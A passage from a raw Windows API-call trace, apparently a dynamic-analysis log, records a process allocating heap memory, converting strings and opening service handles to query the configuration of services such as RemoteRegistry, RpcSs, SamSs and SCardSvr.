lpServiceConfig=0x502850, cbBufSize=0x138, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.127] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599520 [0028.127] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5995a8 [0028.127] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599520) returned 1 [0028.127] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5995a8) returned 1 [0028.127] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5995a8 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599520 [0028.128] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5995a8) returned 1 [0028.128] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599520) returned 1 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599520 [0028.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598100 [0028.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598100, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5980b8 [0028.128] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598100) returned 1 [0028.128] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5980b8) returned 1 [0028.128] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599520) returned 1 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5980b8 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599520 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5995a8 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599630 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5996b8 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599740 [0028.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteaccess", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598100 [0028.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteaccess", cchWideChar=12, lpMultiByteStr=0x598100, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remoteaccess", lpUsedDefaultChar=0x0) returned 12 [0028.128] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598148 [0028.128] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598100) returned 1 [0028.128] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598148) returned 1 [0028.128] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599740) returned 1 [0028.128] OpenServiceW (hSCManager=0x6637d8, lpServiceName="RemoteAccess", dwDesiredAccess=0x1) returned 0x663968 [0028.128] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.129] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.129] GetLastError () returned 0x7a [0028.129] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x152, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599740 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5997c8 [0028.129] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599740) returned 1 [0028.129] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5997c8) returned 1 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5997c8 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599740 [0028.129] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5997c8) returned 1 [0028.129] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599740) returned 1 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599740 [0028.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598148 [0028.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598148, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598100 [0028.129] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598148) returned 1 [0028.129] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598100) returned 1 [0028.129] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599740) returned 1 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598100 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599740 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5997c8 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599850 [0028.129] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5998d8 [0028.130] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599960 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteregistry", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.130] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598148 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteregistry", cchWideChar=14, lpMultiByteStr=0x598148, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remoteregistry", lpUsedDefaultChar=0x0) returned 14 [0028.130] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598190 [0028.130] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598148) returned 1 [0028.130] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598190) returned 1 [0028.130] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599960) returned 1 [0028.130] OpenServiceW (hSCManager=0x6637d8, lpServiceName="RemoteRegistry", dwDesiredAccess=0x1) returned 0x6638c8 [0028.130] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.130] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.130] GetLastError () returned 0x7a [0028.130] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x11c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.130] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599960 [0028.130] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5999e8 [0028.131] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599960) returned 1 [0028.131] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5999e8) returned 1 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5999e8 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599960 [0028.131] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5999e8) returned 1 [0028.131] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599960) returned 1 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599960 [0028.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598190 [0028.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598190, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598148 [0028.131] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598190) returned 1 [0028.131] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598148) returned 1 [0028.131] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599960) returned 1 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598148 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599960 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5999e8 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599a70 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599af8 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599b80 [0028.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpceptmapper", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598190 [0028.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpceptmapper", cchWideChar=12, lpMultiByteStr=0x598190, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpceptmapper", lpUsedDefaultChar=0x0) returned 12 [0028.131] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5981d8 [0028.131] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598190) returned 1 [0028.131] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5981d8) returned 1 [0028.131] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599b80) returned 1 [0028.131] OpenServiceW (hSCManager=0x6637d8, lpServiceName="RpcEptMapper", dwDesiredAccess=0x1) returned 0x6639b8 [0028.131] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.132] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.132] GetLastError () returned 0x7a [0028.132] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x140, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.132] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599b80 [0028.132] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599c08 [0028.132] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599b80) returned 1 [0028.132] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599c08) returned 1 [0028.132] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599c08 [0028.132] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599b80 [0028.132] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599c08) returned 1 [0028.132] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599b80) returned 1 [0028.132] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599b80 [0028.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.132] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5981d8 [0028.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5981d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.132] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598190 [0028.132] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5981d8) returned 1 [0028.132] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598190) returned 1 [0028.132] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599b80) returned 1 [0028.132] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598190 [0028.132] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599b80 [0028.133] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599c08 [0028.133] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599c90 [0028.133] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599d18 [0028.133] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599da0 [0028.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpclocator", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.133] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5981d8 [0028.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpclocator", cchWideChar=10, lpMultiByteStr=0x5981d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpclocator", lpUsedDefaultChar=0x0) returned 10 [0028.133] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598220 [0028.133] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5981d8) returned 1 [0028.133] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598220) returned 1 [0028.133] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599da0) returned 1 [0028.133] OpenServiceW (hSCManager=0x6637d8, lpServiceName="RpcLocator", dwDesiredAccess=0x1) returned 0x6638a0 [0028.133] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.133] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.133] GetLastError () returned 0x7a [0028.133] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x12a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.133] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599da0 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599e28 [0028.134] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599da0) returned 1 [0028.134] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599e28) returned 1 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599e28 [0028.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="locator.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598220 [0028.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="locator.exe", cchWideChar=11, lpMultiByteStr=0x598220, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="locator.exe", lpUsedDefaultChar=0x0) returned 11 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5981d8 [0028.134] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598220) returned 1 [0028.134] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5981d8) returned 1 [0028.134] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599e28) returned 1 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x1c0) returned 0x5072c8 [0028.134] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x507140) returned 1 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5981d8 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599e28 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599da0 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599eb0 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599f38 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599fc0 [0028.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598220 [0028.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpcss", cchWideChar=5, lpMultiByteStr=0x598220, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpcss", lpUsedDefaultChar=0x0) returned 5 [0028.134] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598268 [0028.134] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598220) returned 1 [0028.134] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598268) returned 1 [0028.134] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599fc0) returned 1 [0028.134] OpenServiceW (hSCManager=0x6637d8, lpServiceName="RpcSs", dwDesiredAccess=0x1) returned 0x663968 [0028.134] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.135] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.135] GetLastError () returned 0x7a [0028.135] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x17e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.135] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599fc0 [0028.135] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x59a048 [0028.135] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599fc0) returned 1 [0028.135] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x59a048) returned 1 [0028.135] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x59a048 [0028.135] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599fc0 [0028.135] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x59a048) returned 1 [0028.135] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599fc0) returned 1 [0028.135] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599fc0 [0028.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.135] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598268 [0028.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598268, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.135] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598220 [0028.135] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598268) returned 1 [0028.135] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598220) returned 1 [0028.135] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599fc0) returned 1 [0028.135] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598220 [0028.135] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599fc0 [0028.135] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x59a048 [0028.136] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x59a0d0 [0028.136] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x59a158 [0028.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="samss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="samss", cchWideChar=5, lpMultiByteStr=0x598268, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="samss", lpUsedDefaultChar=0x0) returned 5 [0028.136] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SamSs", dwDesiredAccess=0x1) returned 0x6638c8 [0028.136] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.136] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.136] GetLastError () returned 0x7a [0028.136] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x12e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x5982b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0028.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scardsvr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scardsvr", cchWideChar=8, lpMultiByteStr=0x5982b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scardsvr", lpUsedDefaultChar=0x0) returned 8 [0028.137] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SCardSvr", dwDesiredAccess=0x1) returned 0x6639b8 [0028.137] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.137] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.137] GetLastError () returned 0x7a [0028.137] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x164, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5982f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedule", cchWideChar=8, 